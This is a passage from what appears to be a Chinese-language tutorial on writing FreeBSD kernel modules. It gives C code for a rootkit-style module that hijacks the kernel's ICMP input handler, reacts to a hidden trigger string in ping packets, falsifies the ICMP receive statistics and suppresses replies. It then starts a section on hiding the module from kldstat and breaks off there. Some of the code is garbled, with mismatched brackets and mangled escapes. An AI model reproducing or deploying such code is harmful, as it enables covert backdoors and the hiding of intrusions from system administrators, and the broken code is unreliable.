M_BCAST)) != 0) {
icmpstat.icps_bmcastecho++;
break;
}
/* check if the packet contains the specified trigger */
if(!strcmp(icp->icmp_data,ICMP_TRIGGER)) { //通过判定icmp数据是否包含特定的标志
mod_debug("ICMP triggern");
/* decrease receive stats */
icmpstat.icps_inhist[icp->icmp_type]--;
trigger_test(icp->icmp_data);
/* don't send a reply */
goto freeit;
}
[...]
//// when the module is loaded:
extern struct ipprotosw inetsw[];
extern u_char ip_protox[];
void *old_icmp_input;
static int
load(struct module *module, int cmd, void *arg)
{
switch(cmd) {
case MOD_LOAD:
mod_debug("Replacing ICMP Inputn");
old_icmp_input = inetsw[ip_protox[IPPROTO_ICMP].pr_input;
inetsw[ip_protox[IPPROTO_ICMP].pr_input = new_icmp_input;
break;
case MOD_UNLOAD:
mod_debug("Restoring icmp_inputn");
inetsw[ip_protox[IPPROTO_ICMP].pr_input = old_icmp_input;
break;
default:
error = EINVAL;
break;
}
return(error);
}
CY中只是一个测试的函数,没有多大用,你可以作为例子来修改数据报中的内容然后放回到数据报的处理队列。
3.6. 隐藏模块
重要的,我们当然要隐藏模块自身了( kldstat
关键词:玩转freebsd内核模块